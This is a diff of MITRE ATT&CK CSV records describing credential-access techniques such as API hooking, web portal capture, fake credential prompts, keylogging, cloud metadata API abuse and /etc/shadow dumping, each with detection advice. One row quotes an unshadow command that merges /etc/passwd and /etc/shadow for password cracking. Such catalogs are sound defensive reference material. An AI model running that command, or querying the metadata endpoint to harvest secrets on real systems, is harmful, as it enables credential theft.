'HighTech Bridge Inline Hooking Sept 2011', 'description': 'Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.', 'url': 'https://www.exploit-db.com/docs/17802.pdf'}, {'source_name': 'Volatility Detecting Hooks Sept 2012', 'description': 'Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.', 'url': 'https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html'}, {'source_name': 'PreKageo Winhook Jul 2011', 'description': 'Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.', 'url': 'https://github.com/prekageo/winhook'}, {'source_name': 'Jay GetHooks Sept 2011', 'description': 'Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.', 'url': 'https://github.com/jay/gethooks'}, {'source_name': 'Zairon Hooking Dec 2006', 'description': 'Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.', 'url': 'https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/'}, {'source_name': 'EyeofRa Detecting Hooking June 2017', 'description': 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.', 'url': 'https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/'}, {'source_name': 'GMER Rootkits', 'description': 'GMER. (n.d.). GMER. Retrieved December 12, 2017.', 'url': 'http://www.gmer.net/'}, {'source_name': 'Microsoft Process Snapshot', 'description': 'Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx'}, {'source_name': 'StackExchange Hooks Jul 2012', 'description': 'Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.', 'url': 'https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis'}]",1.0,attack-pattern,attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:01:15.930Z,2020-11-10T18:29:31.138Z,Credential API Hooking,"Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) -",attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6,attack-pattern,"['collection', 'credential-access']",2020-11-10T18:29:31.138Z,2020-02-11T19:01:15.930Z,"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) +","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1056/004,mitre-attack,T1056.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Process: Process Metadata']",,"Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. -Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)","['Process: OS API Execution', 'Process: Process Metadata']",,,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1056.003', 'url': 'https://attack.mitre.org/techniques/T1056/003'}, {'external_id': 'CAPEC-569', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/569.html'}, {'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'source_name': 'Volexity Virtual Private Keylogging'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1056/003,mitre-attack,T1056.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Portal Capture,"Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. +Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/003', 'external_id': 'T1056.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/569.html', 'external_id': 'CAPEC-569'}, {'source_name': 'Volexity Virtual Private Keylogging', 'description': 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.', 'url': 'https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/'}]",1.0,attack-pattern,attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:59:50.058Z,2020-03-24T21:16:16.580Z,Web Portal Capture,"Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. -This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e,attack-pattern,"['collection', 'credential-access']",2020-03-24T21:16:16.580Z,2020-02-11T18:59:50.058Z,File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.,['File: File Modification'],,,,"['Linux', 'macOS', 'Windows']",,CAPEC-569,https://capec.mitre.org/data/definitions/569.html,['An externally facing login portal is configured.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1056.002', 'url': 'https://attack.mitre.org/techniques/T1056/002'}, {'external_id': 'CAPEC-659', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/659.html'}, {'url': 'https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html', 'description': 'Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.', 'source_name': 'OSX Malware Exploits MacKeeper'}, {'source_name': 'LogRhythm Do You Trust Oct 2014', 'url': 'https://logrhythm.com/blog/do-you-trust-your-computer/', 'description': 'Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.'}, {'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'source_name': 'OSX Keydnap malware'}, {'source_name': 'Enigma Phishing for Credentials Jan 2015', 'url': 'https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/', 'description': 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1056/002,mitre-attack,T1056.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,GUI Input Capture,"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). +This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1056/003,mitre-attack,T1056.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.,True,,"['Linux', 'macOS', 'Windows']",,CAPEC-569,https://capec.mitre.org/data/definitions/569.html,['An externally facing login portal is configured.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/002', 'external_id': 'T1056.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/659.html', 'external_id': 'CAPEC-659'}, {'source_name': 'OSX Malware Exploits MacKeeper', 'description': 'Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.', 'url': 'https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html'}, {'source_name': 'LogRhythm Do You Trust Oct 2014', 'description': 'Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.', 'url': 'https://logrhythm.com/blog/do-you-trust-your-computer/'}, {'source_name': 'OSX Keydnap malware', 'description': 'Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.', 'url': 'https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/'}, {'source_name': 'Spoofing credential dialogs', 'description': 'Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.', 'url': 'https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/'}, {'source_name': 'Enigma Phishing for Credentials Jan 2015', 'description': 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.', 'url': 'https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'}]",1.1,attack-pattern,attack-pattern--a2029942-0a85-4947-b23c-ca434698171d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:58:45.908Z,2021-08-24T18:21:07.926Z,GUI Input Capture,"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). -Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). ",attack-pattern--a2029942-0a85-4947-b23c-ca434698171d,attack-pattern,"['collection', 'credential-access']",2020-03-24T20:56:14.853Z,2020-02-11T18:58:45.908Z,"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. +Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1056/002,mitre-attack,T1056.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Molyett, @s1air, Cisco Talos']","['Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation']",,"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) -Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.",['Process: Process Creation'],"['Matthew Molyett, @s1air, Cisco Talos']",,['User'],"['macOS', 'Windows']",,CAPEC-659,https://capec.mitre.org/data/definitions/659.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1056.001', 'url': 'https://attack.mitre.org/techniques/T1056/001'}, {'external_id': 'CAPEC-568', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/568.html'}, {'url': 'http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf', 'description': 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', 'source_name': 'Adventures of a Keystroke'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,True,https://attack.mitre.org/techniques/T1056/001,mitre-attack,T1056.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Keylogging,"Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. +Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ",True,['User'],"['macOS', 'Windows', 'Linux']",,CAPEC-659,https://capec.mitre.org/data/definitions/659.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1056/001', 'external_id': 'T1056.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/568.html', 'external_id': 'CAPEC-568'}, {'source_name': 'Adventures of a Keystroke', 'description': 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.', 'url': 'http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",1.1,attack-pattern,attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:58:11.791Z,2020-10-21T01:30:56.227Z,Keylogging,"Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include: @@ -1498,33 +1690,33 @@ Keylogging is the most prevalent type of input capture, with many different ways * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. -* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4,attack-pattern,"['collection', 'credential-access']",2020-10-21T01:30:56.227Z,2020-02-11T18:58:11.791Z,"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.","['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']",,,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux', 'Network']",,CAPEC-568,https://capec.mitre.org/data/definitions/568.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1555', 'url': 'https://attack.mitre.org/techniques/T1555'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,False,https://attack.mitre.org/techniques/T1555,mitre-attack,T1555,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credentials from Password Stores,"Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0,attack-pattern,['credential-access'],2021-04-29T21:00:19.428Z,2020-02-11T18:48:28.456Z,"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.","['Process: Process Creation', 'File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']",,,['Administrator'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1552.005', 'url': 'https://attack.mitre.org/techniques/T1552/005'}, {'source_name': 'AWS Instance Metadata API', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html', 'description': 'AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.'}, {'source_name': 'Krebs Capital One August 2019', 'url': 'https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/', 'description': 'Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.'}, {'description': 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.', 'url': 'https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse', 'source_name': 'RedLock Instance Metadata API 2018'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,True,https://attack.mitre.org/techniques/T1552/005,mitre-attack,T1552.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Instance Metadata API,"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. +* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1056/001,mitre-attack,T1056.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Process: OS API Execution']",,"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",True,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux', 'Network']",,CAPEC-568,https://capec.mitre.org/data/definitions/568.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555', 'external_id': 'T1555'}]",1.0,attack-pattern,attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:48:28.456Z,2021-06-21T17:58:03.788Z,Credentials from Password Stores,"Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",['credential-access'],https://attack.mitre.org/techniques/T1555,mitre-attack,T1555,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Access']",,"Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.",False,['Administrator'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/005', 'external_id': 'T1552.005'}, {'source_name': 'AWS Instance Metadata API', 'description': 'AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html'}, {'source_name': 'Krebs Capital One August 2019', 'description': 'Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.', 'url': 'https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/'}, {'source_name': 'RedLock Instance Metadata API 2018', 'description': 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.', 'url': 'https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse'}]",1.2,attack-pattern,attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:47:46.619Z,2021-03-31T19:41:06.948Z,Cloud Instance Metadata API,"Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019) If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018) The de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254. -",attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3,attack-pattern,['credential-access'],2021-03-31T19:41:06.948Z,2020-02-11T18:47:46.619Z,"Monitor access to the Instance Metadata API and look for anomalous queries. +",['credential-access'],https://attack.mitre.org/techniques/T1552/005,mitre-attack,T1552.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],['User Account: User Account Authentication'],,"Monitor access to the Instance Metadata API and look for anomalous queries. -It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",['User Account: User Account Authentication'],['Praetorian'],,,['IaaS'],,,,,,,,,,,,,, -"[{'url': 'https://attack.mitre.org/techniques/T1003/008', 'external_id': 'T1003.008', 'source_name': 'mitre-attack'}, {'description': 'The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.', 'url': 'https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html', 'source_name': 'Linux Password and Shadow File Formats'}, {'description': 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.', 'url': 'https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/', 'source_name': 'nixCraft - John the Ripper'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1003/008,mitre-attack,T1003.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,/etc/passwd and /etc/shadow,"Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats) +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",True,,['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/008', 'external_id': 'T1003.008'}, {'source_name': 'Linux Password and Shadow File Formats', 'description': 'The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.', 'url': 'https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html'}, {'source_name': 'nixCraft - John the Ripper', 'description': 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.', 'url': 'https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/'}]",1.0,attack-pattern,attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:46:56.263Z,2020-03-20T15:56:55.022Z,/etc/passwd and /etc/shadow,"Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats) The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db 